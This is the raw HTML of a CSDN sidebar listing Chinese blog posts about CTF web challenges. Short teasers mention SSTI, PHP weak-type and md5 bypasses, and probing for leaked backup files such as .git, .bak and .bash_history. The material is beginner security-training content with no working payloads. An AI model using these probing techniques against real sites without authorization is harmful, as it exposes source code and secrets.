<a href="https://blog.csdn.net/yy17111342926/article/details/142988399" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.2","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~YuanLiJiHua~Position-2-142988399-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"2","strategy":"2~default~YuanLiJiHua~Position","dest":"https://blog.csdn.net/yy17111342926/article/details/142988399"}" data-report-query="spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-142988399-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-142988399-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=5">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>—<em>WEB</em>基础篇</div>
<div class="tag">最新发布</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/yy17111342926" target="_blank" data-report-query="spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-142988399-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-142988399-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=5"><span class="blog-title">喜欢Python编程的程序员柚柚呀</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">10-16</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
940
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/yy17111342926/article/details/142988399" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.2","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~YuanLiJiHua~Position-2-142988399-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"2","strategy":"2~default~YuanLiJiHua~Position","dest":"https://blog.csdn.net/yy17111342926/article/details/142988399"}" data-report-query="spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-142988399-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-142988399-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=5">
<div class="desc ellipsis-online ellipsis-online-1">简介JavaScript 是互联网上最流行的脚本语言,这门语言可用于 HTML 和 <em>web</em>,更可广泛用于服务器、PC、笔记本电脑、平板电脑和智能手机等设备。作用JavaScript 是脚本语言JavaScript 是一种轻量级的编程语言。JavaScript 是可插入 HTML 页面的编程代码。JavaScript 插入 HTML 页面后,可由所有的现代浏览器执行。JavaScript 很容易学习。</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/Sanky0u/article/details/77170651" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.3","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Ctr-3-77170651-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"3","strategy":"2~default~CTRLIST~Ctr","dest":"https://blog.csdn.net/Sanky0u/article/details/77170651"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/Sanky0u/article/details/77170651" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.3","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Ctr-3-77170651-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"3","strategy":"2~default~CTRLIST~Ctr","dest":"https://blog.csdn.net/Sanky0u/article/details/77170651"}" data-report-query="spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ECtr-3-77170651-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ECtr-3-77170651-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=6">
<div class="left ellipsis-online ellipsis-online-1"><em>ctf</em>-<em>web</em>--<em>总结</em>几点基础<em>题</em>的做<em>题</em><em>思路</em></div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/Sanky0u" target="_blank" data-report-query="spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ECtr-3-77170651-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ECtr-3-77170651-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=6"><span class="blog-title">Sanky0u的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">08-14</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
2万+
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/Sanky0u/article/details/77170651" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.3","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Ctr-3-77170651-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"3","strategy":"2~default~CTRLIST~Ctr","dest":"https://blog.csdn.net/Sanky0u/article/details/77170651"}" data-report-query="spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ECtr-3-77170651-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ECtr-3-77170651-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=6">
<div class="desc ellipsis-online ellipsis-online-1">做了三天<em>web</em><em>题</em>了,因为刚入门,还是不要做得太快,先把前几天学到的好好<em>总结</em>一下,一部分是做的几道bugku上的<em>web</em><em>题</em>,一部分是合天网安上面做的几道<em>web</em><em>题</em>,这篇博客就先介绍第一部分。 1. 看源码可以右键->【查看网页源代码】,也可以用火狐和谷歌浏览器的按F12键,按F12键可以修改html源代码方便构造一些值提交,但如果不需要的话直接右键查看源代码更直观,看网页里面的注释之类的都很方便。
2.</div>
</a>
</div>
</div>
</div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/administratorlws/article/details/142104711" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-142104711-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"3\"}","spm":"1001.2101.3001.4242.3","dest":"https://blog.csdn.net/administratorlws/article/details/142104711","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"4"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/administratorlws/article/details/142104711" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-142104711-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"3\"}","spm":"1001.2101.3001.4242.3","dest":"https://blog.csdn.net/administratorlws/article/details/142104711","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"4"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-142104711-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.3&utm_relevant_index=7"> <div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>——简单的《<em>WEB</em>》_<em>ctf</em> <em>web</em></div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-25</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/administratorlws/article/details/142104711" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-142104711-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"3\"}","spm":"1001.2101.3001.4242.3","dest":"https://blog.csdn.net/administratorlws/article/details/142104711","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"4"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-142104711-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.3&utm_relevant_index=7"> <div class="desc ellipsis-online ellipsis-online-1">简单来说就是<em>CTF</em>中的SSTI(Server-Side Template Injection,服务端模板注入)是一种模板引擎的注入攻击。它的核心概念是:我们通过在用户输入中嵌入恶意代码,利用模板引擎的漏洞执行任意代码或获得系统敏感信息。 什么是SSTI? 模板引擎是一种允许开发者使用模板语言来生成动态内容的工具,常用于<em>Web</em>应用开发中生成HTML、邮件或...</div> </a> </div> </div> </div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/Myon5/article/details/134728890" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-5-134728890-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"3\"}","spm":"1001.2101.3001.4242.4","dest":"https://blog.csdn.net/Myon5/article/details/134728890","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"5"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/Myon5/article/details/134728890" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-5-134728890-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"3\"}","spm":"1001.2101.3001.4242.4","dest":"https://blog.csdn.net/Myon5/article/details/134728890","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"5"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-5-134728890-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.4&utm_relevant_index=8"> <div class="left ellipsis-online ellipsis-online-1">基于<em>CTF</em>探讨<em>Web</em>漏洞的利用与防范_漏洞利用场景<em>ctf</em></div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-23</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/Myon5/article/details/134728890" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-5-134728890-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"3\"}","spm":"1001.2101.3001.4242.4","dest":"https://blog.csdn.net/Myon5/article/details/134728890","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"5"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-5-134728890-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.4&utm_relevant_index=8"> <div class="desc ellipsis-online ellipsis-online-1">基于自己之前在<em>CTF</em>中<em>Web</em>方向的学习,<em>总结</em>出与<em>Web</em>相关的漏洞利用方法,主要包括:密码爆破、文件上传、SQL注入、<em>PHP</em>伪协议、反序列化漏洞、命令执行漏洞、文件包含漏洞、Vim文件泄露、HTTP协议、Cookie伪造、Git源码泄露,并就此<em>总结</em>出相关的防御应对措施。 原本是在W1R3S上进行了包括:信息收集、FTP渗透、<em>Web</em>渗透、John爆破...</div> </a> </div> </div> </div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/qq_42747131/article/details/106039575" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.4","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-4-106039575-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"4","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://blog.csdn.net/qq_42747131/article/details/106039575"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/qq_42747131/article/details/106039575" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.4","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-4-106039575-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"4","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://blog.csdn.net/qq_42747131/article/details/106039575"}" data-report-query="spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-4-106039575-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-4-106039575-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=9">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em><em>总结</em>-<em>WEB</em>篇</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/qq_42747131" target="_blank" data-report-query="spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-4-106039575-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-4-106039575-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=9"><span class="blog-title">qq_42747131的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">05-12</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
2166
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/qq_42747131/article/details/106039575" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.4","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-4-106039575-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"4","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://blog.csdn.net/qq_42747131/article/details/106039575"}" data-report-query="spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-4-106039575-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-4-106039575-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=9">
<div class="desc ellipsis-online ellipsis-online-1"><em>WEB</em>知识点整理
常见的备份文件格式:.git .svn .swp .svn .~ .bak .bash_history
比如主页文件是index.<em>php</em>,那么它的备份可能就是index.<em>php</em>.bak,此时直接作为url输入即可下载备份,
如[ www.baidu.com/index.<em>php</em>.bak ](然而百度的并不能)
robots协议:参考博客
cookies、会话:参考博客1、参考博客2
GET转POST:参考博客
主要是记住这句话
Content-Type: application</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/A13837377363/article/details/136565283" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.5","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-136565283-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"5","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://blog.csdn.net/A13837377363/article/details/136565283"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/A13837377363/article/details/136565283" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.5","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-136565283-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"5","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://blog.csdn.net/A13837377363/article/details/136565283"}" data-report-query="spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-5-136565283-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-5-136565283-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=10">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em> ---<em>web</em><em>题</em><em>思路</em><em>总结</em></div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/A13837377363" target="_blank" data-report-query="spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-5-136565283-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-5-136565283-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=10"><span class="blog-title">A13837377363的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">03-08</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
2690
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/A13837377363/article/details/136565283" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.5","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-136565283-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"5","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://blog.csdn.net/A13837377363/article/details/136565283"}" data-report-query="spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-5-136565283-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-5-136565283-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=10">
<div class="desc ellipsis-online ellipsis-online-1">面对一道<em>web</em><em>题</em>时,先注意<em>题</em>目名字或者提示。如'eazy_sql'则大概率为sql注入<em>题</em>目。若含有'flask''tornado'等词,可以考虑去搜索这些服务器的历史漏洞。</div>
</a>
</div>
</div>
</div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/m0_71744044/article/details/140553503" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-8-140553503-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"5\"}","spm":"1001.2101.3001.4242.5","dest":"https://blog.csdn.net/m0_71744044/article/details/140553503","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"8"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/m0_71744044/article/details/140553503" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-8-140553503-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"5\"}","spm":"1001.2101.3001.4242.5","dest":"https://blog.csdn.net/m0_71744044/article/details/140553503","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"8"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-8-140553503-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.5&utm_relevant_index=11"> <div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>初学笔记-<em>web</em>新手<em>题</em>目(附学习资料)_<em>ctf</em>新手训练<em>题</em>目网页flag-CSDN...</div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-26</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/m0_71744044/article/details/140553503" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-8-140553503-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"5\"}","spm":"1001.2101.3001.4242.5","dest":"https://blog.csdn.net/m0_71744044/article/details/140553503","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"8"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-8-140553503-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.5&utm_relevant_index=11"> <div class="desc ellipsis-online ellipsis-online-1"><em>Web</em>安全基础 数据库基础 编程基础 <em>CTF</em>基础 阶段二:技术进阶(到了这一步你才算入门) 该阶段学完年薪25w+ 弱口令与口令爆破 XSS漏洞 CSRF漏洞 SSRF漏洞 XXE漏洞 SQL注入 任意文件操作漏洞 业务逻辑漏洞 阶段三:高阶提升 该阶段学完即可年薪30w+ 反序列化漏洞 ...</div> </a> </div> </div> </div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/qq_52648141/article/details/136587654" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-9-136587654-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"5\"}","spm":"1001.2101.3001.4242.6","dest":"https://blog.csdn.net/qq_52648141/article/details/136587654","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"9"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/qq_52648141/article/details/136587654" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-9-136587654-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"5\"}","spm":"1001.2101.3001.4242.6","dest":"https://blog.csdn.net/qq_52648141/article/details/136587654","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"9"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-9-136587654-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.6&utm_relevant_index=12"> <div class="left ellipsis-online ellipsis-online-1">【<em>CTF</em> <em>web</em>1】_<em>ctf</em> <em>web</em>时间戳相等</div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-19</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/qq_52648141/article/details/136587654" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-9-136587654-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"5\"}","spm":"1001.2101.3001.4242.6","dest":"https://blog.csdn.net/qq_52648141/article/details/136587654","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"9"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-9-136587654-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.6&utm_relevant_index=12"> <div class="desc ellipsis-online ellipsis-online-1">一、<em>CTF</em> <em>web</em> -<em>PHP</em>弱类型 1、是否相等? 2、转换规则: 二、<em>CTF</em> <em>web</em> -md5绕过 1、若类型比较绕过 2、null绕过 3、碰撞绕过 三、习<em>题</em> 一、<em>CTF</em> <em>web</em> -<em>PHP</em>弱类型 1、是否相等? === :在进行比较的时候,会先判断两种字符串的类型是否相等,再比较 == : 在进行比较的时候,会先将字符串类型转化成相同,再比较 ...</div> </a> </div> </div> </div>
<div class="recommend-item-box type_blog clearfix" data-url="https://giantbranch.blog.csdn.net/article/details/50959166" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.6","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-6-50959166-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"6","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://giantbranch.blog.csdn.net/article/details/50959166"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://giantbranch.blog.csdn.net/article/details/50959166" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.6","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-6-50959166-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"6","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://giantbranch.blog.csdn.net/article/details/50959166"}" data-report-query="spm=1001.2101.3001.6650.6&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-50959166-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-50959166-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=13">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em> <em>web</em><em>总结</em></div>
<div class="tag">热门推荐</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
